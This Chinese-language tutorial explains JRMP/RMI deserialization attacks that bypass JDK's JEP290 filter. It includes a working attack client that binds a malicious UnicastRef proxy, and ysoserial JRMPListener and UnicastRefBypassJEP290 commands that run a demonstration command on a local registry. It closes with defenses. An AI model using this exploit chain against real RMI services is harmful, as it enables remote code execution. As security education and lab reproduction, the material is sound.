JRMP通信攻击过程及利用介绍
字数 1498 2025-08-22 12:22:48
JRMP通信攻击过程及利用详解
1. JRMP协议基础
1.1 JRMP协议概述
- 定义:JRMP(Java Remote Method Protocol)是Java特有的远程方法调用协议
- 位置:运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议
- 漏洞根源:JRMP协议在处理包含Java原生序列化数据时,客户端和服务端都会自动反序列化接收到的数据
1.2 实现方式
- JRMP协议:RMI专用的Java远程消息交换协议
- IIOP协议:基于CORBA实现的对象请求代理协议
2. RMI基础实现
2.1 定义远程接口
package org.al1ex;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloService extends Remote {
String sayHello(String name) throws RemoteException;
}
2.2 实现远程接口
package org.al1ex;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello, " + name + "!";
}
}
2.3 注册对象并启动服务
package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
HelloService helloService = new HelloServiceImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("HelloService", helloService);
System.out.println("RMI Server is ready.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
2.4 客户端调用
package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
HelloService stub = (HelloService) registry.lookup("HelloService");
String response = stub.sayHello("World");
System.out.println("Response from server: " + response);
} catch (Exception e) {
e.printStackTrace();
}
}
}
3. JEP290安全机制
3.1 JEP290简介
- 引入版本:
- JDK 8u121
- JDK 7u131
- JDK 6u141
- 主要功能:
- 限制反序列化的深度和复杂度
- 为RMI远程调用对象提供验证类机制
- 提供限制反序列化类的机制(白名单/黑名单)
- 可配置的过滤机制(通过properties文件)
3.2 白名单类
JEP290定义的白名单类包括:
- String.class
- Number.class
- Remote.class
- Proxy.class
- UnicastRef.class
- RMIClientSocketFactory.class
- RMIServerSocketFactory.class
- ActivationID.class
- UID.class
4. JRMP攻击绕过JEP290
4.1 绕过原理
- 利用点:在JDK8u231之前的版本,注册中心会反序列化UnicastRef类
- 攻击流程:
- 使注册中心反序列化UnicastRef类
- 该类会发起JRMP连接到恶意JRMP服务端
- 在DGC(分布式垃圾收集)层造成反序列化漏洞
4.2 攻击复现
4.2.1 定义测试接口
package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
4.2.2 实现接口
package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
public UserImpl() throws RemoteException {
super();
}
@Override
public String name(String name) throws RemoteException {
return name;
}
@Override
public void say(String say) throws RemoteException {
System.out.println("you speak" + say);
}
@Override
public void dowork(Object work) throws RemoteException {
System.out.println("your work is " + work);
}
}
4.2.3 服务端代码
package RMI;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
User user = new UserImpl();
registry.rebind("HelloRegistry", user);
System.out.println("rmi start at 1099");
}
}
4.2.4 攻击客户端代码
package RMI;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.*;
import java.rmi.registry.*;
import java.rmi.server.*;
import java.util.Random;
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("localhost", 1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1088); // JRMPListener端口
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
RMIClient.class.getClassLoader(),
new Class[]{Registry.class},
obj
);
reg.bind("Hello", proxy);
}
}
4.3 攻击步骤
- 启动恶意JRMPListener:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 "cmd.exe /c calc" - 启动RMI服务:运行上述RMIServer代码
- 执行攻击客户端:运行上述RMIClient代码
5. 攻击原理分析
5.1 关键调用链
- 客户端调用bind()方法时,通过UnicastRef对象与注册中心通信
- 注册中心接收请求后调用RemoteObject的readObject方法
- 最终调用LiveRef.read()解析JRMPListener的IP和端口
- 创建DGCClient对象并建立与JRMPListener的连接
- JRMPListener返回的恶意数据被反序列化执行
5.2 绕过关键点
- DGC层的反序列化操作未调用setObjectInputFilter
- serialFilter为空,不进行白名单检查
- 直接反序列化JRMP端返回的恶意对象
6. 工具化利用
6.1 ysoserial扩展利用
攻击命令格式:
java -cp ysoserial.jar ysoserial.exploit.UnicastRefBypassJEP290 <目标IP> <目标端口> <本地JRMP服务IP> <本地JRMP服务端口>
示例:
java -cp ysoserial.jar ysoserial.exploit.UnicastRefBypassJEP290 127.0.0.1 1099 127.0.0.1 1088
7. 防御措施
- 升级JDK:至少升级到JDK 8u231或更高版本
- 配置过滤器:自定义ObjectInputFilter限制可反序列化的类
- 网络隔离:限制RMI服务的网络访问
- 监控告警:监控异常的JRMP连接